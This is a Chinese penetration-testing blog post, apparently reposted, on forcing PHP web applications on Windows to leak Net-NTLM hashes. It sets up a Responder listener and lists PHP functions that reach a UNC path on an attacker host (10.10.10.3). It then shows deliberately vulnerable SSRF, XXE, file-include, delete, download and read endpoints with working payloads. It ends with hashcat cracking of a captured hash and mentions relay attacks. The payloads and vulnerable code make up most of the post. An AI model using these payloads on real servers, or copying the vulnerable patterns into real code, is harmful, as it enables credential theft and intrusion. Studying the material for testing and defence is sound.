暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

基于PHP环境的Net-NTLM Hash获取姿势探索

pen4uin 2021-09-25
1239

目录:


0x00 写在前面

      相信大家也都有看过一些关于获取Net-NTLM Hash文章,但是我感觉利用场景都更偏向于已突破网络边界的情况(比如社工钓鱼/RCE等手段),于是在这篇文章里我针对一些常见的Web场景(PHP+Window)下对获取Net-NTLM Hash姿势的进行了测试,目前自己还未在实战场景测试,不知道效果如何,师傅们就当作扩展思路吧!

0x01 获取Net-NTLM Hash

使用Responder获取Net-NTLM Hash

    git clone https://github.com/lgandx/Responder.git
    cd Responder/
    ./Responder.py -I eth0 -rv
    复制

    0x02 可利用的函数

    测试了大概20+的函数,这里仅以下面的demo演示效果


    01 include()

      <?php
      include '\\\\10.10.10.3\tmp';
      复制


      02 include_once()

        <?php
        include_once '\\\\10.10.10.3\tmp';
        复制

        03 require()

          <?php
          require '\\\\10.10.10.3\tmp';
          复制

          04 require_once()

            <?php
            require_once '\\\\10.10.10.3\tmp';
            复制

            05 file_get_contents()

              <?php
              $demo = file_get_contents('\\\\10.10.10.3\tmp');
              复制

              06 file()

                <?php
                $lines = file('\\\\10.10.10.3\tmp');
                复制

                07 readfile()

                  <?php
                  $file = '\\\\10.10.10.3\tmp';
                  readfile($file);
                  复制


                  08 file_exists()

                    <?php
                    $file = '\\\\10.10.10.3\tmp';
                    if (file_exists($file)) {
                    exit;
                    }
                    复制


                    09 filesize()

                      <?php
                      $demo = filesize('\\\\10.10.10.3\tmp');
                      复制


                      10 unlink()

                        <?php
                        $file = '\\\\10.10.10.3\tmp';
                        unlink($file);
                        复制

                        11 fopen()

                          <?php
                          $file = '\\\\10.10.10.3\tmp';
                          fopen($file,'a');
                          复制


                          12 is_file()

                            <?php
                            $file = '\\\\10.10.10.3\tmp';
                            var_dump(is_file($file));
                            复制


                            同类函数还有

                            • is_dir()

                            • is_executable()

                            • is_link()

                            • is_readable()

                            • is_uploaded_file()

                            • is_writable()

                            • is_writeable()

                            13 file_put_contents()

                              <?php
                              $file = '\\\\10.10.10.3\tmp.txt';
                              file_put_contents($file, 'pen4uin.');
                              复制

                              ∞ xxx()

                              可达到以上效果的函数还有很多,这里就不再测试了,重在思路分享。

                              下面将列举几种实战中可能会出现的场景。

                              0x03 可能出现的漏洞场景

                              注:以下只是为了演示效果所以demo代码过于简单

                              SSRF

                              demo.php

                                <?php
                                $location=$_GET['path'];
                                $curl = curl_init($location);
                                curl_exec ($curl);
                                curl_close ($curl);
                                ?>
                                复制
                                file://

                                payload

                                  ?path=file://\\10.10.10.3\tmp
                                  复制

                                  XXE

                                  靶场

                                  • https://github.com/c0ny1/xxe-lab

                                  php://filter

                                  payload

                                    <?xml version="1.0" encoding="ISO-8859-1"?>
                                    <!DOCTYPE a[
                                    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//10.10.10.3/tmp.php">
                                    ]>
                                    <user><username>&xxe;</username><password>admin</password></user>
                                    复制



                                    文件包含

                                    demo.php

                                      <?php
                                      $file = $_GET['file'];
                                      include($file);
                                      复制


                                      payload

                                        ?file=\\10.10.10.3\tmp
                                        复制

                                        文件删除

                                        demo.php

                                          <?php
                                          $file = $_GET['file'];
                                          unlink($file);
                                          复制


                                          文件下载

                                          • 如果存在一处文件下载的地方,一般会先判断所下载的文件是否存在

                                          demo.php

                                            <?php
                                            $filename = $_GET['file'];
                                            if(file_exists($filename)){
                                            header('location:http://'.$filename);
                                            }else{
                                            header('HTTP/1.1 404 Not Found');
                                            }
                                            复制


                                            文件读取

                                            demo.php

                                              <?php
                                              $filename = $_GET['file'];
                                              readfile($filename);
                                              复制


                                              0x04 NTLM利用姿势

                                              NTLM利用不是这篇文章的重点,这里分享一下常见的利用方式,感兴趣的师傅可自行研究测试。

                                              利用思路

                                              • 暴力破解

                                              • Relay 中继

                                                • SMB

                                                • EWS(Exchange)

                                                • LDAP

                                              暴力破解

                                              利用hashcat 基于字典进行离线爆破

                                              参数说明

                                              • 5600 Net-NTLM

                                                hashcat -m 5600 admin::.:88c06d46a5e743c5:FBD01056A7EBB9A06D69857C12D5F9DC:010100000000000000F4AE876EB0D70195F68AC7D41F46370000000002000800320043004B004F0001001E00570049004E002D0045003600380033003000590056004C0035005A00520004003400570049004E002D0045003600380033003000590056004C0035005A0052002E00320043004B004F002E004C004F00430041004C0003001400320043004B004F002E004C004F00430041004C0005001400320043004B004F002E004C004F00430041004C000700080000F4AE876EB0D70106000400020000000800300030000000000000000100000000200000AD34DB253663E6DF661C39C7D5712180BFA6346A77811E487B52B1C40C5853150A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310030002E0033000000000000000000 root/Desktop/Responder/password-top1000.dict --force
                                                复制

                                                如图

                                                tip:

                                                • 密码字典可以从每一次的项目中累积,毕竟这样更接近于实战场景的需求


                                                pdf地址:

                                                  https://github.com/pen4uin/PentestNote/tree/main/Backup
                                                  复制


                                                  文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                  评论